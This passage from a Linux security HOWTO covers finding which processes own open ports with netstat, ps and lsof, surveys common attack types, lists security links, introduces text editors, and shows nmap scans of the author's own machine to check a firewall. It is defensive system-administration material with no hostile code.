 tcp      400      0 127.0.0.1:1152          127.0.0.1:8000       CLOSE_WAIT
 tcp     6648      0 127.0.0.1:1162          127.0.0.1:8000       CLOSE_WAIT
 tcp      553      0 127.0.0.1:1164          127.0.0.1:8000       CLOSE_WAIT

There are nine total connections here. The first three is our external interface connecting to a remote host on their port 119, the standard NNTP (News) port. There are three connections here to the same news server. Apparently the application is multi-threaded, as it is trying to open multiple connections to the news server. The next two entries are connections to a remote web server as indicated by the port 80 after the colon in the fifth column. Probably a pretty common looking entry for most of us. But the one just after is reversed and has the port 80 in the fourth column, so this is someone that has connected to bigcat's web server via its external, Internet-side interface. The last three entries are all connections from localhost to localhost. So we are connecting to ourselves here. Remembering from above that port 8000 is bigcat's web proxy, this is a web browser that is connected to the locally running proxy. The proxy then will open an external connection of its own, which probably is what is going on with lines four and five.

Since we gave netstat both the -t and -u options, we are getting both the TCP and UDP listening servers. The last few lines are the UDP ones:

 udp        0      0 0.0.0.0:32768          0.0.0.0:*
 udp        0      0 192.168.1.1:53         0.0.0.0:*
 udp        0      0 127.0.0.1:53           0.0.0.0:*
 udp        0      0 0.0.0.0:631            0.0.0.0:*

The last three entries have ports that are familiar from the above discussion. These are servers that are listening for both TCP and UDP connections. Same servers in this case, just using two different protocols. The first one on local port 32768 is new, and does not have a service name available to it in /etc/services. So at first glance this should be suspicious and pique our curiosity. See the next section for the explanation.

Can we draw any conclusions from this hypothetical situation? For the most part, these look to be pretty normal looking network services and connections for Linux. There does not seem to be an unduly high number of servers running here, but that by itself does not mean much since we don't know if all these servers are really required or not. We know that netstat can not tell us if any of these are effectively firewalled, so there is no way to say how secure all this might be. We also don't really know if all the listening services are really required by the owner here. That is something that varies widely from installation to installation. Does bigcat even have a printer attached for instance? Presumably it does, or this is a completely unnecessary risk.

8.3.2. Port and Process Owners

We've learned a lot about what is going on with bigcat's networking from the above section. But suppose we see something we don't recognize and want to know what started that particular service? Or we want to stop a particular server and it is not obvious from the above output?

The -p option should give us the process's PID and the program name that started the process in the last column. Let's look at the TCP servers again (with first three columns cropped for spacing). We'll have to run this as root to get all the available information:

# netstat -tap
Active Internet connections (servers and established)
  Local Address           Foreign Address      State       PID/Program name
  *:printer               *:*                  LISTEN       988/inetd
  bigcat:8000             *:*                  LISTEN       1064/junkbuster
  *:time                  *:*                  LISTEN       988/inetd
  *:x11                   *:*                  LISTEN       1462/X
  *:http                  *:*                  LISTEN       1078/httpd
  bigcat:domain           *:*                  LISTEN       956/named
  bigcat:domain           *:*                  LISTEN       956/named
  *:ssh                   *:*                  LISTEN       972/sshd
  *:631                   *:*                  LISTEN       1315/cupsd
  *:smtp                  *:*                  LISTEN       1051/master

Some of these we already know about. But we see now that the printer daemon on port 515 is being started via inetd with a PID of "988". inetd is a special situation. inetd is often called the "super server", since it's main role is to spawn sub-services. xinetd replaces inetd as of Red Hat 7.0. If we look at the first line, inetd is listening on port 515 for printer services. If a connection comes for this port, inetd intercepts it, and then will spawn the appropriate daemon, i.e. the print daemon in this case. The configuration of how inetd handles this is typically done in /etc/inetd.conf. This should tell us that if we want to stop an inetd controlled server on a permanent basis, then we will have to dig into the inetd (or perhaps xinetd) configuration. Also the time service above is started via inetd as well. This should also tell us that these two services can be further protected by tcpwrappers (discussed in Step 3 above). This is one benefit of using inetd to control certain system services.

We weren't sure about the service on port 631 above since it did not have a standard service name, which means it is something maybe unusual or off the beaten path. Now we see it is owned by cupsd (not included with Red Hat by the way), which is one of several print daemons available under Linux. This happens to be the web interface for controlling the printer service. Something cupsd does that is indeed a little different than other print servers.

The last entry above is the SMTP mail server on bigcat. Often, this is sendmail. But not in this case. The command is "master", which may not ring any bells. Armed with the program name we could go searching the filesystem with tools like the locate or find commands. After we found it, we could then probably discern what package it belonged to. But with the PID available now, we can look at ps output, and see if that helps us any:

 $ /bin/ps ax |grep 1051 |grep -v grep
  1051 ?        S        0:24 /usr/libexec/postfix/master

We took a shortcut here by combining ps with grep. It looks like that this file belongs to postfix, which is indeed a mail server package comparable to sendmail ( and is included with Powertools, not the base distribution).

Running ps with the --forest flag (-f for short) can be helpful in determining what processes are parent or child process or another process. An edited example:

 $ /bin/ps -axf
  956 ?        S      0:00 named -u named
  957 ?        S      0:00  \_ named -u named
  958 ?        S      0:46      \_ named -u named
  959 ?        S      0:47      \_ named -u named
  960 ?        S      0:00      \_ named -u named
  961 ?        S      0:11      \_ named -u named
 1051 ?        S      0:30 /usr/libexec/postfix/master
 1703 ?        S      0:00  \_ tlsmgr -l -t fifo -u -c
 1704 ?        S      0:00  \_ qmgr -l -t fifo -u -c
 1955 ?        S      0:00  \_ pickup -l -t fifo -c
 1863 ?        S      0:00  \_ trivial-rewrite -n rewrite -t unix -u -c
 2043 ?        S      0:00  \_ cleanup -t unix -u -c
 2049 ?        S      0:00  \_ local -t unix
 2062 ?        S      0:00  \_ smtpd -n smtp -t inet -u -c

A couple of things to note here. We have two by now familiar daemons here: named and postfix (smtpd). Both are spawning sub-processes. In the case of named, what we are seeing is threads, various sub-processes that it always spawns. Postfix is also spawning sub-processes, but not as "threads". Each sub-process has its own specific task. It is worth noting that child processes are dependent on the parent process. So killing the parent PID, will in turn kill all child processes.

If all this has not shed any light, we might also try locate:

 $ locate /master
 /etc/postfix/master.cf
 /var/spool/postfix/pid/master.pid
 /usr/libexec/postfix/master
 /usr/share/vim/syntax/master.vim
 /usr/share/vim/vim60z/syntax/master.vim
 /usr/share/doc/postfix-20010202/html/master.8.html
 /usr/share/doc/postfix-20010202/master.cf
 /usr/share/man/man8/master.8.gz

find is perhaps the most flexible file finding utility, but doesn't use a database the way locate does, so is much slower:

 $ find / -name master
 /usr/libexec/postfix/master

If lsof is installed, it is another command that is useful for finding who owns processes or ports:

 # lsof -i :631
 COMMAND  PID  USER    FD   TYPE DEVICE SIZE NODE NAME
 cupsd   1315  root    0u   IPv4   3734       TCP *:631 (LISTEN)

This is again telling us that the cupsd print daemon is the owner of port 631. Just a different way of getting at it. Yet one more way to get at this is with fuser, which should be installed:

 # fuser -v -n tcp 631

                      USER        PID  ACCESS  COMMAND
 631/tcp              root       1315  f....   cupsd

See the man pages for fuser and lsof command syntax.

Another place to look for where a service is started, is in the init.d directory, where the actual init scripts live. Something like ls -l /etc/rc.d/init.d/, should give us a list of these. Often the script name itself gives a hint as to which service(s) it starts, though it may not necessarily exactly match the "Program Name" as provided by netstat. Or we can use grep to search inside files and match a search pattern. Need to find where rpc.statd is being started, and we don't see a script by this name?

 # grep rpc.statd /etc/init.d/*
 /etc/init.d/nfslock: [ -x /sbin/rpc.statd ] || exit 0
 /etc/init.d/nfslock:    daemon rpc.statd
 /etc/init.d/nfslock:    killproc rpc.statd
 /etc/init.d/nfslock:    status rpc.statd
 /etc/init.d/nfslock:    /sbin/pidof rpc.statd >/dev/null 2>&1; STATD="$?"

We didn't really need all that information, but at least we see now exactly which script is starting it. Remember too that not all services are started this way. Some may be started via inetd, or xinetd.

The /proc filesystem also keeps everything we want to know about processes that are running. We can query this to find out more information about each process. Do you need to know the full path of the command that started a process?

 # ls -l /proc/1315/exe
 lrwxrwxrwx  1 root  root   0 July 4 19:41 /proc/1315/exe -> /usr/sbin/cupsd

Finally, we had a loose end or two in the UDP listening services. Remember we had a strange looking port number 32768, that also had no service name associated with it:

 # netstat -aup
 Active Internet connections (servers and established)
  Local Address           Foreign Address         State       PID/Program name
   *:32768                 *:*                                 956/named
   bigcat:domain           *:*                                 956/named
   bigcat:domain           *:*                                 956/named
   *:631                   *:*                                 1315/cupsd

Now by including the "PID/Program name" option with the -p flag, we see this also belongs to named, the nameserver daemon. Recent versions of BIND use an unprivileged port for some types of traffic. In this case, this is BIND 9.x. So no real alarms here either. The unprivileged port here is the one named uses to to talk to other nameservers for name and address lookups, and should not be firewalled.

So we found no big surprises in this hypothetical situation.

If all else fails, and you can't find a process owner for an open port, suspect that it may be an RPC (Remote Procedure Call) service of some kind. These use randomly assigned ports without any seeming logic or consistency, and are typically controlled by the portmap daemon. In some cases, these may not reveal the process owner to netstat or lsof. Try stopping portmap, and then see if the mystery service goes away. Or you can use rpcinfo -p localhost to see what RPC services may be running (portmap must be running for this to work).

Warning

If you suspect you have been broken into, do not trust netstat or ps output. There is a good chance that they, and other system components, has been tampered with in such a way that the output is not reliable.

8.4. Attacks and Threats

In this section, we will take a quick look at some of the common threats and techniques that are out there, and attempt to put them into some perspective.

The corporate world, government agencies and high profile Internet sites have to be concerned with a much more diverse and challenging set of threats than the typical home desktop user. There are many reasons someone may want to break in to someone else's computer. It may be just for kicks, or any number of malicious reasons. They may just want a base from which to attack someone else. This is a very common motivation.

The most common "attack" for most of us is from already compromised systems. The Internet is littered with computers that have been broken into, and are now doing their master's bidding blindly, in zombie-like fashion. They are programmed to scan massively large address ranges, probing each individual IP address as they go. Looking for one or more open ports, and then probing for known weaknesses if they get the chance. Very impersonal. Very methodical. And very effective. We are all in the path of such robotic scans. All because those responsible for these systems fail to do what you are doing now - taking steps to protect their system(s), and avoid being r00ted.

These scans do not look at login banners that may be presented on connection. It will do little good to change your /etc/issue.net to pretend that you are running some obscure operating system. If they find something listening, they will try all of the exploits appropriate to that port, without regard to any indications your system may give. If it works, they are in -- if not, they will move on.

8.4.1. Port Scans and Probes

First, let's define "scan" and "probe" since these terms come up quite a bit. A "probe" implies testing if a given port is open or closed, and possibly what might be listening on that port. A "scan" implies either "probing" multiple ports on one or more systems. Or individual ports on multiple systems. So you might "scan" all ports on your own system for instance. Or a cracker might "scan" the 216.78.*.* address range to see who has port 111 open.

Black hats can use scan and probe information to know what services are running on a given system, and then they might know what exploits to try. They may even be able to tell what Operating System is running, and even kernel version, and thus get even more information. "Worms", on the other hand, are automated and scan blindly, generally just looking for open ports, and then a susceptible victim. They are not trying to "learn" anything, the way a cracker might.

The distinction between "scan" and "probe"is often blurred. Both can used in good ways, or in bad ways, depending on who is doing it, and why. You might ask a friend to scan you, for instance, to see how well your firewall is working. This is a legitimate use of scanning tools such as nmap. But what if someone you don't know does this? What is their intent? If it's your ISP, they may be trying to enforce their Terms of Service Agreement. Or maybe, it is someone just playing, and seeing who is "out there". But more than likely it is someone or something with not such good intentions.

Full range port scans (meaning probing of many ports on the same machine) seem to be a not so common threat for home based networks. But certainly, scanning individual ports across numerous systems is a very, very common occurrence.

8.4.2. Rootkits

A "rootkit" is the script kiddie's stock in trade. When a successful intrusion takes place, the first thing that is often done, is to download and install such "rootkits". The rootkit is a set of scripts designed to take control of the system, and then hide the intrusion. Rootkits are readily available on the web for various Operating Systems.

A rootkit will typically replace critical system files such as ls, ps, netstat, login and others. Passwords may be added, hidden daemons started, logs tampered with, and surely one of more backdoors are opened. The hidden backdoors allow easy access any time the attacker wants back in. And often the vulnerability itself may even be fixed so that the new "owner" has the system all to himself. The entire process is scripted so it happens very quickly. The rightful owners of these compromised systems generally have no idea what is going on, and are victims themselves. A well designed rootkit can be very difficult to detect.

8.4.3. Worms and Zombies

A "worm" is a self replicating exploit. It infects a system, then attempts to spread itself typically via the same vulnerability. Various "worms" are weaving their way through the entire Internet address space constantly, spreading themselves as they go.

But somewhere behind the zombie, there is a controller. Someone launched the worm, and they will be informed after a successful intrusion. It is then up to them how the system will be used.

Many of these are Linux systems, looking for other Linux systems to "infect" via a number of exploits. But most Operating Systems share in this threat. Once a vulnerable system is found, the actual entry and take over is quick, and may be difficult to detect after the fact. The first thing an intruder (whether human or "worm") will do is attempt to cover their tracks. A "rootkit" is downloaded and installed. This trend has been exacerbated by the growing popularity of cable modems and DSL. The number of full time Internet connections is growing rapidly, and this makes fertile ground for such exploits since often these aren't as well secured as larger sites.

While this may sound ominous, a few simple precautions can effectively deter this type of attack. With so many easy victims out there, why waste much effort breaking into your system? There is no incentive to really try very hard. Just scan, look, try, move on if unsuccessful. There is always more IPs to be scanned. If your firewall is effectively bouncing this kind of thing, it is no threat to you at all. Take comfort in that, and don't over re-act.

It is worth noting, that these worms cannot "force" their way in. They need an open and accessible port, and a known vulnerability. If you remember the "Iptables Weekly Log Summary" in the opening section above, many of those may have all been the result of this type of scan. If you've followed the steps in this HOWTO, you should be reasonably safe here. This one is easy enough to deflect.

8.4.4. Script Kiddies

A "script kiddie" is a "cracker" wanna be who doesn't know enough to come up with his/her own exploits, but instead relies on "scripts" and exploits that have been developed by others. Like "worms", they are looking for easy victims, and may similarly scan large address ranges looking for specific ports with known vulnerabilities. Often, the actual scanning is done from already comprised systems so that it is difficult to trace it back to them.

The script kiddie has a bag of ready made tricks at his disposal, including an arsenal of "rootkits" for various Operating Systems. Finding susceptible victims is not so hard, given enough time and address space to probe. The motives are a mixed bag as well. Simple mischief, defacement of web sites, stolen credit card numbers, and the latest craze, "Denial of Service" attacks (see below). They collect zombies like trophies and use them to carry out whatever their objective is.

Again, the key here is that they are following a "script", and looking for easy prey. Like the worm threat above, a functional firewall and a few very basic precautions, should be sufficient to deflect any threat here. By now, you should be relatively safe from this nuisance.

8.4.5. Spoofed IPs

How easy is it to spoof an IP address? With the right tools, very easy. How much of a threat is this? Not much, for most of us, and is over-hyped as a threat.

Because of the way TCP/IP works, each packet must carry both the source and destination IP addresses. Any return traffic is based on this information. So a spoofed IP can never return any useful information to an attacker who is sending out spoofed packets. The traffic would go back to wherever that spoofed IP address was pointed. The attacker gets nothing back at all.

This does have potential for "DoS" attacks (see below) where learning something about the targeted system is not important. And may be used for some general mischief making as well.

8.4.6. Targeted Attacks

The worm and wide ranging address type scans, are impersonal. They are just looking for any vulnerable system. It makes no difference whether it is a top secret government facility, or your mother's Window's box. But there are "black hats" that will spend a great deal of effort to get into a system or network. We'll call these "targeted" attacks since there has been a deliberate decision made to break in to a specific system or network.

In this case, the attacker will look the system over for weaknesses. And possibly make many different kinds of attempts, until he finds a crack to wiggle through. Or gives up. This is more difficult to defend against. The attacker is armed and dangerous, so to speak, and is stalking his prey.

Again, this scenario is very unlikely for a typical home system. There just generally isn't any incentive to take the time and effort when there are bigger fish to fry. For those who may be targets, the best defense here includes many of things we've discussed. Vigilance is probably more important than ever. Good logging practices and an IDS (Intrusion Detection System) should be in place. And subscribing to one or more security related mailing lists like BUGTRAQ. And of course, reading those alerts daily, and taking the appropriate actions, etc.

8.4.7. Denial of Service (DoS)

"DoS" is another type of "attack" in which the intention is to disrupt or overwhelm the targeted system or network in such a way that it cannot function normally. DoS can take many forms. On the Internet, this often means overwhelming the victim's bandwidth or TCP/IP stack, by sending floods of packets and thus effectively disabling the connection. We are talking about many, many packets per second. Thousands in some cases. Or perhaps, the objective is to crash a server.

This is much more likely to be targeted at organizations or high profile sites, than home users. And can be quite challenging to stop depending on the technique. And it generally requires the co-operation of networks between the source(s) and the target, so that the floods are stopped, or minimized, before they reach the targeted destination. Once they hit the destination, there is no good way to completely ignore them.

"DDoS", Distributed Denial of Service, is where multiple sources are used to maximize the impact. Again, not likely to be directly targeted at home users. These are "slaves" that are "owned" by a cracker, or script kiddie, that are woken up and are targeted at the victim. There may be many computers involved in the attack.

If you are home user, and with a dynamic IP address, you might find disconnecting, then re-connecting to get a new IP, an effective way out if you are the target. Maybe.

8.4.8. Brute Force

"Brute force" attacks are where the attacker makes repetitive attempts at the same perceived weakness(es). Like a battering ram. A classic example would be where someone tries to access a telnet server simply by continually throwing passwords at it, hoping that one will eventually work. Or maybe crash the server. This doesn't require much imagination, and is not a commonly used tactic against home systems.

By the way, this is one good argument against allowing remote root logins. The root account exists on all systems. It is probably the only one that this is true of. You'd like to make a potential attacker guess both the login name and password. But if root is allowed remote logins, then the attacker only needs to guess the password!

8.4.9. Viruses

And now something not to worry about. Viruses seem to be primarily a Microsoft problem. For various reasons, viruses are not a significant threat to Linux users. This is not to say that it will always be this way, but the current virus explosion that plagues Microsoft systems, can not spread to Linux (or Unix) based systems. In fact, the various methods and practices that enable this phenomena, are not exploitable on Linux. So Anti-Virus software is not recommended as part of our arsenal. At least for the time being with Linux only networks.

8.5. Links

Some references for further reading are listed below. Not listed is your distribution's site, security page or ftp download site. You will have to find these on your own. Then you should bookmark them!

  • Redhat sites of interest:

    The Redhat watch/security mailing list: https://listman.redhat.com/mailman/listinfo/redhat-watch-list

    Red Hat errata and security notices: http://redhat.com/errata/

    The Red Hat update FTP site: ftp://updates.redhat.com/

  • Other relevant documents available from the Linux Documentation Project:

    Security HOWTO: http://linuxdoc.org/HOWTO/Security-HOWTO.html

    Firewall HOWTO: http://linuxdoc.org/HOWTO/Firewall-HOWTO.html

    Ipchains HOWTO: http://linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html

    User Authentication: http://linuxdoc.org/HOWTO/User-Authentication-HOWTO/index.html, includes a nice discussion on PAM.

    VPN (Virtual Private Network): http://linuxdoc.org/HOWTO/VPN-HOWTO.html and http://linuxdoc.org/HOWTO/VPN-Masquerade-HOWTO.html

    The Remote X Apps Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/Remote-X-Apps.html, includes excellent discussions on the security implications of running X Windows.

    The Linux Network Administrators Guide: http://linuxdoc.org/LDP/nag2/index.html, includes a good overview of networking and TCP/IP, and firewalling.

    The Linux Administrator's Security Guide: http://www.seifried.org/lasg/, includes many obvious topics of interest, including firewalling, passwords and authentication, PAM, and more.

    Securing Red Hat: http://linuxdoc.org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edition-v1.3/index.html

  • Tools for creating custom ipchains and iptables firewall scripts:

    PMFirewall: http://www.pmfirewall.com/PMFirewall/

    Firestarter: http://firestarter.sourceforge.net

    Two related projects: http://seawall.sourceforge.net/ for ipchains, and http://shorewall.sourceforge.net/ for iptables.

  • Netfilter and iptables documentation from the netfilter developers (available in many other languages as well):

    FAQ: http://netfilter.samba.org/documentation/FAQ/netfilter-faq.html
    Packet filtering: http://netfilter.samba.org/documentation/HOWTO/packet-filtering-HOWTO.html
    Networking: http://netfilter.samba.org/documentation/HOWTO/networking-concepts-HOWTO.html
    NAT/masquerading: http://netfilter.samba.org/documentation/HOWTO/NAT-HOWTO.html

  • Port number assignments, and what that scanner may be scanning for:

    http://www.linuxsecurity.com/resource_files/firewalls/firewall-seen.html

    http://www.sans.org/newlook/resources/IDFAQ/oddports.htm

    http://www.iana.org/assignments/port-numbers, the official assignments.

  • General security sites. These all have areas on documentation, alerts, newsletters, mailing lists, and other resources.

    Linux Security.com: http://www.linuxsecurity.com, loaded with good info, and Linux specific. Lots of good docs: http://www.linuxsecurity.com/docs/

    CERT, http://www.cert.org

    The SANS Institute: http://www.sans.org/

    The Coroner's Toolkit (TCT): http://www.fish.com/security/, discussions and tools for dealing with post break-in issues (and preventing them in the first place).

  • Privacy:

    Junkbuster: http://www.junkbuster.com, a web proxy and cookie manager.

    PGP: http://www.gnupg.org/

  • Other documentation and reference sites:

    Linux Security.com: http://www.linuxsecurity.com/docs/

    Linux Newbie: http://www.linuxnewbie.org/nhf/intel/security/index.html

    The comp.os.linux.security FAQ: http://www.linuxsecurity.com/docs/colsfaq.html

    The Internet Firewall FAQ: http://pubweb.nfr.net/~mjr/pubs/fwfaq/

    The Site Security Handbook RFC: http://www.ietf.org/rfc/rfc2196.txt

  • Miscellaneous sites of interest:

    http://www.bastille-linux.org, for Mandrake and Red Hat only.

    SAINT: http://www.wwdsi.com/saint/, system security analysis.

    SSL: http://www.openssl.org/

    SSH: http://www.openssh.org/

    Scan yourself: http://www.hackerwhacker.com

    PAM: http://www.kernel.org/pub/linux/libs/pam/index.html

    Detecting Trojaned Linux Kernel Modules: http://members.prestige.net/tmiller12/papers/lkm.htm

    Rootkit checker: http://www.chkrootkit.org

    Port scanning tool nmap's home page: http://www.insecure.org

    Nessus, more than just a port scanner: http://www.nessus.org

    Tripwire, intrusion detection: http://www.tripwire.org

    Snort, sniffer and more: http://www.snort.org

    http://www.mynetwatchman.com and http://dshield.org are "Distributed Intrusion Detection Systems". They collect log data from subscribing "agents", and collate the data to find and report malicious activity. If you want to fight back, check these out.

8.6. Editing Text Files

By Bill Staehle

All the world is a file.

There are a great many types of files, but I'm going to stretch it here, and class them into two really broad families:

 Text files are just that.
 Binary files are not.

Binary files are meant to be read by machines, text files can be easily edited, and are generally read by people. But text files can be (and frequently are) read by machines. Examples of this would be configuration files, and scripts.

There are a number of different text editors available in *nix. A few are found on every system. That would be '/bin/ed' and '/bin/vi'. 'vi' is almost always a clone such as 'vim' due to license problems. The problem with 'vi' and 'ed' is that they are terribly user unfriendly. Another common editor that is not always installed by default is 'emacs'. It has a lot more features and capability, and is not easy to learn either.

As to 'user friendly' editors, 'mcedit' and 'pico' are good choices to start with. These are often much easier for those new to *nix.

The first things to learn are how to exit an editing session, how to save changes to the file, and then how to avoid breaking long lines that should not be broken (wrapped).

The 'vi' editor

'vi' is one of the most common text editors in the Unix world, and it's nearly always found on any *nix system. Actually, due to license problems, the '/bin/vi' on a Linux system is always a 'clone', such as 'elvis', 'nvi', or 'vim' (there are others). These clones can act exactly like the original 'vi', but usually have additional features that make it slightly less impossible to use.

So, if it's so terrible, why learn about it? Two reasons. First, as noted, it's almost guaranteed to be installed, and other (more user friendly) editors may not be installed by default. Second, many of the 'commands' work in other applications (such as the pager 'less' which is also used to view man pages). In 'less', accidentally pressing the 'v' key starts 'vi' in most installations.

'vi' has two modes. The first is 'command mode', and keystrokes are interpreted as commands. The other mode is 'insert' mode, where nearly all keystrokes are interpreted as text to be inserted.

==> Emergency exit from 'vi' 1. press the <esc> key up to three times, until the computer beeps, or the screen flashes. 2. press the keys :q! <Enter>

That is: colon, the letter Q, and then the exclamation point, followed by the Enter key.

'vi' commands are as follows. All of these are in 'command' mode:

a    Enter insertion mode after the cursor.
A    Enter insertion mode at the end of the current line.
i    Enter insertion mode before the cursor.
o    Enter insertion mode opening a new line BELOW current line.
O    Enter insertion mode opening a new line ABOVE current line.
h    move cursor left one character.
l    move cursor right one character.
j    move cursor down one line.
k    move cursor up one line.
/mumble  move cursor forward to next occurrence of 'mumble' in
         the text
?mumble  move cursor backward to next occurrence of 'mumble'
         in the text
n    repeat last search (? or / without 'mumble' to search for
     will do the same thing)
u    undo last change made

^B   Scroll back one window.
^F   Scroll forward one window.
^U   Scroll up one half window.
^D   Scroll down one half window.

:w   Write to file.
:wq  Write to file, and quit.
:q   quit.
:q!  Quit without saving.

<esc>   Leave insertion mode.

NOTE: The four 'arrow' keys almost always work in 'command' or 'insert' mode.

The 'ed' editor.

The 'ed' editor is a line editor. Other than the fact that it is virtually guaranteed to be on any *nix computer, it has no socially redeeming features, although some applications may need it. A _lot_ of things have been offered to replace this 'thing' from 1975.

==> Emergency exit from 'ed'

1. type a period on a line by itself, and press <Enter> This gets you to the command mode or prints a line of text if you were in command mode. 2. type q and press <Enter>. If there were no changes to the file, this action quits ed. If you then see a '?' this means that the file had changed, and 'ed' is asking if you want to save the changes. Press q and <Enter> a second time to confirm that you want out.

The 'pico' editor.

'pico' is a part of the Pine mail/news package from the University of Washington (state, USA). It is a very friendly editor, with one minor failing. It silently inserts a line feed character and wraps the line when it exceeds (generally) 74 characters. While this is fine while creating mail, news articles, and text notes, it is often fatal when editing system files. The solution to this problem is simple. Call the program with the -w option, like this:

pico -w file_2_edit

Pico is so user friendly, no further instructions are needed. It _should_ be obvious (look at the bottom of the screen for commands). There is an extensive help function. Pico is available with nearly all distributions, although it _may_ not be installed by default.

==> Emergency exit from 'pico'

Press and hold the <Ctrl> key, and press the letter x. If no changes had been made to the file, this will quit pico. If changes had been made, it will ask if you want to save the changes. Pressing n will then exit.

The 'mcedit' editor.

'mcedit' is part of the Midnight Commander shell program, a full featured visual shell for Unix-like systems. It can be accessed directly from the command line ( mcedit file_2_edit ) or as part of 'mc' (use the arrow keys to highlight the file to be edited, then press the F4 key).

mcedit is probably the most intuitive editor available, and comes with extensive help. "commands" are accessed through the F* keys. Midnight Commander is available with nearly all distributions, although it _may_ not be installed by default.

==> Emergency exit from 'mcedit'

Press the F10 key. If no changes have been made to the file, this will quit mcedit. If changes had been made, it will ask if you want to Cancel this action. Pressing n will then exit.

8.7. nmap

Let's look at a few quick examples of what nmap scans look like. The intent here is to show how to use nmap to verify our firewalling, and system integrity. nmap has other uses that we don't need to get into. Do NOT use nmap on systems other than your own, unless you have permission from the owner, and you know it is not a violation of anyone's Terms of Service. This kind of thing will be taken as hostile by most people.

As mentioned previously, nmap is a sophisticated port scanning tool. It tries to see if a host is "there", and what ports might be open. Barring that, what states those ports might be in. nmap has a complex command line and can do many types of "scans". See the man page for all the nitty gritty.

A couple of words of warning first. If using portsentry, turn it off. It will drop the route to wherever the scan is coming from. You might want to turn off any logging also, or at least be aware that you might get copious logs if doing multiple scans.

A simple, default scan of "localhost":

 # nmap localhost

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (127.0.0.1):
 (The 1507 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 25/tcp     open        smtp
 37/tcp     open        time
 53/tcp     open        domain
 80/tcp     open        http
 3000/tcp   open        ppp

 Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

If you've read most of this document, you should be familiar with these services by now. These are some of the same ports we've seen in other examples. Some things to note on this scan: it only did 1500+ "interesting" ports -- not all ports. This can be configured differently if more is desirable (see man page). It only did TCP ports too. Again, configurable. It only picks up "listening" services, unlike netstat that shows all open ports -- listening or otherwise. Note the last "open" port here is 3000 is identified as "PPP". Wrong! That is just an educated guess by nmap based on what is contained in /etc/services for this port number. Actually in this case it is ntop (a network traffic monitor). Take the service names with a grain of salt. There is no way for nmap to really know what is on that port. Matching port numbers with service names can at times be risky. Many do have standard ports, but there is nothing to say they have to use the commonly associated port numbers.

Notice that in all our netstat examples, we had two classes of open ports: listening servers, and then established connections that we initiated to other remote hosts (e.g. a web server somewhere). nmap only sees the first group -- the listening servers! The other ports connecting us to remote servers are not visible, and thus not vulnerable. These ports are "private" to that single connection, and will be closed when the connection is terminated.

So we have open and closed ports here. Simple enough, and gives a pretty good idea what is running on bigcat -- but not necessarily what we look like to the outside world since this was done from localhost, and wouldn't reflect any firewalling or other access control mechanisms.

Let's do a little more intensive scan. Let's check all ports -- TCP and UDP.

 # nmap -sT -sU -p 1-65535 localhost

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (127.0.0.1):
 (The 131050 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 25/tcp     open        smtp
 37/tcp     open        time
 53/tcp     open        domain
 53/udp     open        domain
 80/tcp     open        http
 3000/tcp   open        ppp
 8000/tcp   open        unknown
 32768/udp  open        unknown

 Nmap run completed -- 1 IP address (1 host up) scanned in 385 seconds

This is more than just "interesting" ports -- it is everything. We picked up a couple of new ones in the process too. We've seen these before with netstat, so we know what they are. That is the Junkbuster web proxy on port 8000/tcp and named on 32768/udp. This scan takes much, much longer, but it is the only way to see all ports.

So now we have a pretty good idea of what is open on bigcat. Since we are scanning localhost from localhost, everything should be visible. We still don't know how the outside world sees us though. Now I'll ssh to another host on the same LAN, and try again.

 # nmap bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (192.168.1.1):
 (The 1520 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 3000/tcp   open        ppp

 Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

I confess to tampering with the iptables rules here to make a point. Only two visible ports on this scan. Everything else is "closed". So says nmap. Once again:

 # nmap bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Note: Host seems down. If it is really up, but blocking our ping probes, try -P0

 Nmap run completed -- 1 IP address (0 hosts up) scanned in 30 seconds

Oops, I blocked ICMP (ping) while I was at it this time. One more time:

 # nmap -P0 bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 All 1523 scanned ports on bigcat (192.168.1.1) are: filtered

 Nmap run completed -- 1 IP address (1 host up) scanned in 1643 seconds

That's it. Notice how long that took. Notice ports are now "filtered" instead of "closed". How does nmap know that? Well for one, "closed" means bigcat sent a packet back saying "nothing running here", i.e. port is closed. In this last example, the iptables rules were changed to not allow ICMP (ping), and to "DROP" all incoming packets. In other words, no response at all. A subtle difference since nmap seems to still know there was a host there, even though no response was given. One lesson here, is if you want to slow a scanner down, "DROP" (or "DENY") the packets. This forces a TCP time out for the remote end on each port probe. Anyway, if your scans look like this, that is probably as well as can be expected, and your firewall is doing its job.

A brief note on UDP: nmap can not accurately determine the status of these ports if they are "filtered". You probably will get a false-positive "open" condition. This has to do with UDP being a connectionless protocol. If nmap gets no answer (e.g. due to a "DROP"), it assumes the packets reached the target, and thus the port will be reported as "open". This is "normal" for nmap.

We can play with firewall rules in a LAN set up to try to simulate how the outside world sees us, and if we are smart, and know what we are doing, and don't have a brain fart, we probably will have a pretty good picture. But it is still best to try to find a way to do it from outside if possible. Again, make sure you are not violating any ISP rules of conduct. Do you have a friend on the same ISP?

8.8. Sysctl Options

The "sysctl" options are kernel parameters that can be configured via the /proc filesystem. These can be dynamically adjusted at run-time. Typically these options are off if set to "0", and on if set to "1".

Some of these have security implications, and thus is why we are here ;-) We'll just list the ones we think are relevant. Feel free to cut and paste these into a firewall script, or other file that is run during boot (like /etc/rc.local). Red Hat provides the sysctl command for dynamically adjusting these values (see man page). Or they can permanently be set in /etc/sysctl.conf with your text editor of choice. sysctl is executed during init, and uses these values. You can read up on what these mean in /usr/src/linux/Documentation/sysctl/README and other files in the kernel Documentation directories.

The traditional method:

#!/bin/sh
#
# Configure kernel sysctl run-time options.
#
###################################################################

# Anti-spoofing blocks
for i in /proc/sys/net/ipv4/conf/*/rp_filter;
do
 echo 1 > $i
done

# Ensure source routing is OFF
